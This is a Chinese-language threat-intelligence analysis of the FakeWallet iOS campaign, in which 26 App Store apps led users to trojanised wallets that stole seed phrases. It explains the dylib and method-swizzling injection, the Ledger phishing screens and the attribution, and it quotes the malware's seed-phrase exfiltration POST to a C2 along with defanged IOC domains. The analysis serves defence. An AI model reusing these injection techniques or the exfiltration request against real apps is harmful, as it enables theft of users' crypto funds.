iOS App Store 再现「假钱包」:FakeWallet 与 SparkKitty 同源,26 个应用直取助记词

长话短说

卡巴斯基（Kaspersky）GReAT 于 2026 年 4 月 20 日披露名为 FakeWallet 的 iOS 加密货币钓鱼活动：26 款冒充 MetaMask、Ledger、Trust Wallet、Coinbase、TokenPocket、imToken、Bitpie 的 App 已上架中国区 App Store，伪装成游戏、计算器或任务规划器等「正常应用」通过审核；用户打开后被导流至仿 App Store 页面，通过企业签名配置描述文件（Provisioning Profile）安装被植入恶意 dylib 的钱包副本，助记词在「新建钱包 / 恢复钱包」界面被拦截，RSA + Base64 加密后回传 C2。

研判：此次活动与 2025 年披露的 SparkKitty（iOS 首个被公开确认的 Trojan-Spy）高度同源——部分样本中同时夹带 SparkKitty 模块，两者分发页面、语言指纹、目标画像均重合。再往前推，整套打法沿用 2022 年 ESET 记录的 Android/iOS 钓鱼钱包方案，属于老方案升级成功穿过 Apple 审核，不是新技术突破。

影响：主要瞄准中国区 Apple ID 用户，但恶意模块本身不带地域限制，钓鱼弹窗会根据 app 语言切换，海外用户同样暴露。

最大不确定：Kaspersky 未披露受害者数量和赃款金额。

一、事件概述

• 披露方：卡巴斯基（Kaspersky）Securelist / 研究员 Sergey Puzan
• 首次发现：2026 年 3 月，批量出现在中国区 App Store「Ledger Wallet」「TokenPocket」等关键词搜索结果顶部
• 样本回溯：恶意模块元数据显示该活动至少从 2025 年秋开始潜伏
• 披露时间：2026-04-20（Securelist 原文）
• 波及钱包品牌：MetaMask、Ledger、Trust Wallet、Coinbase、TokenPocket、imToken、Bitpie
• 冒充 App 数量：26 款（Kaspersky 已全部向 Apple 通报，部分已下架）
• 活动代号：FakeWallet（Kaspersky 命名）；检出名 HEUR:Trojan-PSW.IphoneOS.FakeWallet.* 与 HEUR:Trojan.IphoneOS.FakeWallet.*

攻击者抓住的是一个中国市场的结构性缝隙：由于中国区 App Store 的合规限制，MetaMask、Ledger Live 等主流钱包的中国区 Apple ID 用户无法直接下载官方版本。这个缺口过去被灰产拿来倒卖「代下载」服务，现在被犯罪团伙用来做钓鱼分发通道。

攻击者还使用了两种典型手法混淆视听：一是拼写抢注（typosquatting），名称接近但略有错字，避开 App Store 品牌过滤；二是完全无关伪装，名字和图标与加密货币毫无关系（游戏、计算器、日程工具），但应用内横幅写着「官方钱包在 App Store 下架，请点此下载」，把用户从合法外壳引导至钓鱼流程。

二、时间线

时间线上值得分析师注意的是 04-07 至 04-13 的 Ledger Live macOS 窃案——发布者、目标平台、赃款路径都与 FakeWallet 不同，不能合并叙事。但两起事件发生在同一半个月内、都穿过 App Store 审核、都攻击同一个 Ledger 品牌，指向一个更底层的问题（见第六节）。

三、技术链条

3.1 分发：App Store 外壳 + 企业配置描述文件二次安装

第一层上架的 App Store 应用，并不直接包含窃密代码。它们承担的角色是：

• 通过 Apple 审核——内容是可玩的小游戏、能用的计算器、能记日程的任务表。这一层故意写得干净，Apple 审核过程中看不到恶意行为。
• 充当跳转器——用户打开后，在首屏或广告位弹出「官方钱包已下架 / 最新版本」等话术，一键跳转至外部 HTML 页面。
• 页面做成类 App Store 外观，引导用户安装一份企业签名的配置描述文件（Enterprise Provisioning Profile）。

配置描述文件是 Apple 为企业内部分发 App 设计的合法机制，绕过 App Store、绕过设备上限，长期被破解版、作弊器、博彩 App 及恶意软件滥用。FakeWallet 用同样的套路绕开 Apple 的签名信任边界。

这一层流程与 SparkKitty 完全一致，是 Kaspersky 判定两者同源的核心证据之一。

3.2 热钱包：dylib 注入 + Objective-C 方法交换

针对 MetaMask / Coinbase / TokenPocket / Trust Wallet / imToken / Bitpie 等热钱包（私钥存于设备），攻击者采用两种注入路径：

1. 恶意 dylib 注入（主流做法）——往主可执行体加入 LC_LOAD_DYLIB 加载命令，dyld 加载时自动调用恶意库的初始化函数。初始化函数中通过 Objective-C runtime 的 +load 方法或 C++ 构造函数，把原 App 处理助记词界面的 viewDidLoad 替换成恶意版本。典型样本：libokexHook.dylib，劫持 Coinbase 中 RecoveryPhraseViewController 的 viewDidLoad。
2. 直接改源码（少数样本）——针对 React Native 写的钱包（Ledger Live 源代码公开），直接在源码层嵌入恶意组件，不依赖平台库，跨平台复用。

被劫持的 viewDidLoad 执行固定流程：遍历当前 view controller 的子 view，按 BIP-39 助记词字典（2048 个词）匹配、抓取用户输入、串成字符串、RSA PKCS#1 加密、Base64 编码，最后 POST 到 C2：

POST <c2_domain>/api/open/postByTokenPocket?ciyu=<base64_encrypted>&code=10001&ciyuType=1&wallet=ledger

针对 Trust Wallet 的变体更特殊：攻击者绕过初始化函数，直接把自定义 __hook section 插入主可执行体，位于 __text 之前、通常留给 load command 的内存区。前两个函数作为 dlsym 和原 WalletCore 助记词校验方法的跳板，后两个 wrapper 负责：解析恶意库里的 dataInit / processX0Parameter 符号、跳转执行、再调用原方法保持 App 正常运作。

研判：Trust Wallet 变体选择避开 Objective-C runtime hook、改走 Mach-O section 注入，大概率是针对 Trust Wallet 的 C++ 内核 WalletCore 做的适配。Trust Wallet 钱包逻辑在 C++ 层，Objective-C 方法交换抓不到核心路径，攻击者被迫下降一层。技术分工细致这件事本身说明团队有稳定的 iOS 逆向工程能力，不是临时起意。

3.3 冷钱包：应用内钓鱼弹窗

Ledger 是冷钱包——私钥在硬件里，软件只是操作界面，无法直接从内存中截获助记词。针对 Ledger 的变体改走应用内钓鱼：

• 恶意库 entry 函数从本地 JSON 拉取配置文件，其中 url 指向助记词回传 C2（如 hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php），另有一个无关的 login-url 域名，Kaspersky 研判是开发者遗留的测试代码。
• 在 +[UIViewController load] 与 +[UIView load] 中劫持渲染流程：当用户进入「新建账户」「买卖加密货币」等真实使用路径时，弹出「安全检查」通知，按 App 当前语言本地化话术。
• 用户点击后加载本地 verify.html 钓鱼页，UI 模仿 Ledger Live 设计、支持 BIP-39 助记词自动补全，进一步降低用户戒心。
• 助记词经同样的 RSA + Base64 流程回传 C2。

第二种 Ledger 变体直接修改 React Native 源码，加入两个恶意屏幕 MnemonicVerifyScreen 与 PrivateKeyVerifyScreen，嵌在 PortfolioNavigator 与 MyLedgerNavigator 中。两者仅在用户已完成冷钱包配对后才会被触发——这个设计等于反调试：分析师在沙箱里空跑 App 看不到恶意行为。

为了处理 App 中途被关闭的情况，木马在应用工作目录创建三个文件跟踪上传状态：

• verify-wallet-status.json：当前状态与上次更新时间戳
• verify-wallet-config.json：C2 配置
• verify-wallet-pending.json：未成功发送的加密助记词

结果：即使用户发现可疑立即关掉 App，助记词仍会在下次打开时继续外传——只要 App 不被卸载。

3.4 分发矩阵：不只 App Store

除了 App Store 上架通道，Kaspersky 还发现：

• 钓鱼网站：伪装成 Ledger 官网，同时挂 iOS 和 Android 下载链接。
• Android 侧：找到多个受感染 APK，未在 Google Play 出现，均经由上述钓鱼页分发。
• SparkKitty 交叉：部分 FakeWallet 样本里同时夹带 SparkKitty 模块。有意思的是这些 SparkKitty 模块没有活动迹象——助记词抓取完全由 FakeWallet 模块独立完成。

四、归因分析

4.1 可直接确认（L1）

• 活动代号 FakeWallet 为 Kaspersky 命名（自 2026-04-20 起公开使用）。
• Apple 在接到 Kaspersky 通报后移除了全部 26 款 App，BleepingComputer 已核实。

4.2 Kaspersky 的归因假设（标注「研判」）

Kaspersky 在报告中提出：FakeWallet 操纵者可能与 SparkKitty 是同一组织或存在密切关联，依据有四：

1. 部分 FakeWallet 感染 App 中同时存在 SparkKitty 模块。
2. 两类恶意模块内部的日志字符串和注释均为中文，研判开发者为中文母语使用者。
3. 两者分发方式都依赖仿 App Store 的钓鱼页面。
4. 两者目标都是加密货币资产，无明显偏离主线。

这是一套分层清晰的归因链：从代码共享（1）、语言指纹（2）、基础设施复用（3）到动机对齐（4）。以公开源 CTI 报告的归因标准，这属于中等强度证据，够下「可能关联」的结论，不足以下「证据确认为同一组织」。

4.3 更远的血缘（研判）

研判：把镜头再拉远，FakeWallet 的技术方案——钓鱼站、假钱包、企业签名配置描述文件、目标同一批 Chinese-speaking 热钱包品牌——几乎完整复刻了 ESET 2022 年披露的那套方案。ESET 当年明确指出该方案被「中国的犯罪团伙」使用，且代码已在地下公开分享。这意味着 FakeWallet 未必是 SparkKitty 组织自己演化的新代，也可能是共享代码库的多个下游团队各自改造的一个分支——这会削弱「Kaspersky 归因 = 单一组织」的简化叙事。

需要什么证据才能确认：相同样本中的硬编码私钥/证书指纹、同一 C2 IP 段的跨年使用、开发者留在 debug symbol 里的主机名或 Git 路径——目前公开材料尚不足以做这层确认。

五、影响评估

5.1 已知影响（L1）

• 确认上架：26 款冒充 App 通过了 Apple 审核，部分登上中国区 App Store 相关关键词搜索结果前排。
• 确认下架：Kaspersky 披露后 Apple 已移除。BleepingComputer 于同日就 Apple 的审核机制被绕过路径发问，截至其发稿时 Apple 未作回应。
• 确认主力目标：中国区 Apple ID 用户（仅此区域能在 App Store 看到这批应用）。

5.2 可能影响（L2，研判）

• 受害者规模未披露：Kaspersky 未公布已确认被盗案例数量或涉案金额。App Store 不对外披露下载量——研判除非受害者自发报案或链上追查（如 ZachXBT 之于 Ledger Live macOS 9.5M 案），否则整体规模无法量化。
• 溢出风险：恶意模块无地域限制、钓鱼弹窗按 App 语言自适应，海外中文圈（东南亚华人、北美华人社区）是最有可能的下一个受波及群体。
• 冷钱包用户的心理盾被击穿：Ledger 用户一向被教育「冷钱包绝对安全」，此次针对 Ledger 的钓鱼方案直接在「恢复钱包」场景做界面伪装，硬件本身的密钥隔离能力无用——秘密是输入给了恶意界面，不是被软件偷走的。

六、这件事真正暴露的问题

两个层面：

审核层面：App Store 的审核机制在中国区针对「伪装成小游戏 / 计算器 / 日程工具、运行后才弹加密货币相关内容」的一步延迟激活型恶意 App 缺乏有效识别。这不是新问题——SparkCat（2025-02）、SparkKitty（2025-06）已经证明相同的问题存在。2026 年 4 月还出现了仿冒 Ledger Live macOS 版在 App Store 上架两周、发 5 个版本更新、盗走 50 名用户约 950 万美元的独立事件（BleepingComputer、The Block、ZachXBT 链上追查）。研判：Apple 的审核依赖静态代码扫描与用户投诉驱动，对「上架时干净 → 运行后拉取远程配置 → 动态导流」的攻击链几乎没有检测能力。

市场结构层面：中国区合规限制下，主流加密货币钱包的官方版本无法直接分发。这个结构性缝隙把用户推向「同名 App」或「外链安装」的灰色通道。研判：这个缝隙不会因为 FakeWallet 被下架就消失，只要官方应用在中国区 App Store 缺位，同类冒名应用就会循环出现，下一批攻击者只要把代号换一下、基础设施换一下，就能复用整套方案。

七、防御与监测建议

面向终端用户：

• 用户级判断要点：看发布者。MetaMask 由 ConsenSys 发布、Ledger Live 由 Ledger SAS 发布、Trust Wallet 由 Trust Wallet 发布。发布者署名对不上，无论图标多像都不要下载。
• 不在任何 App 内输入助记词除非你 100% 确认这是官方应用。真正的冷钱包 App 永远不会在日常使用中要求你再次输入 24 词。
• 设备上拒绝任何陌生企业签名配置描述文件。设置 → 通用 → VPN 与设备管理，看到不认识的配置文件就删。
• 如果一个 App 冒称「官方商店版已下架」「请从本应用内下载真正的版本」，这本身就是红旗。

面向安全团队：

• 把以下指标接入 iOS / Android 设备 MDM 或 EDR 告警：
• 安装了企业签名配置描述文件、且签名主体与企业业务无关
• 访问 Kaspersky 公布的 C2 / 分发域名（见下方 IOC 节选）
• 设备上运行的「钱包 App」包名或发布者与官方白名单不一致
• 面向高净值加密货币持有者的员工或客户：主动告知存在中国区 App Store 被钓鱼渗透的风险，不要依赖「下载自官方商店」作为安全背书。

IOC 节选

完整 IOC 见 Kaspersky Securelist 原文，以下为关键 C2 与分发域名：

C2 地址

• hxxps://kkkhhhnnn[.]com/api/open/postByTokenpocket
• hxxps://helllo2025[.]com/api/open/postByTokenpocket
• hxxps://sxsfcc[.]com/api/open/postByTokenpocket
• hxxps://iosfc[.]com/ledger/ios/Rsakeycatch.php
• hxxps://nmu8n[.]com/tpocket/ios/Rsakeyword.php
• hxxps://zmx6f[.]com/btp/ios/receiRsakeyword.php
• hxxps://api.dc1637[.]xyz

分发域名（部分）

• hxxps://www.gxzhrc[.]cn/download/
• hxxps://appstoreios[.]com/
• hxxps://crypto-stroe[.]cc/
• hxxps://xz.apps-store[.]im/

检出名：HEUR:Trojan-PSW.IphoneOS.FakeWallet.*、HEUR:Trojan.IphoneOS.FakeWallet.*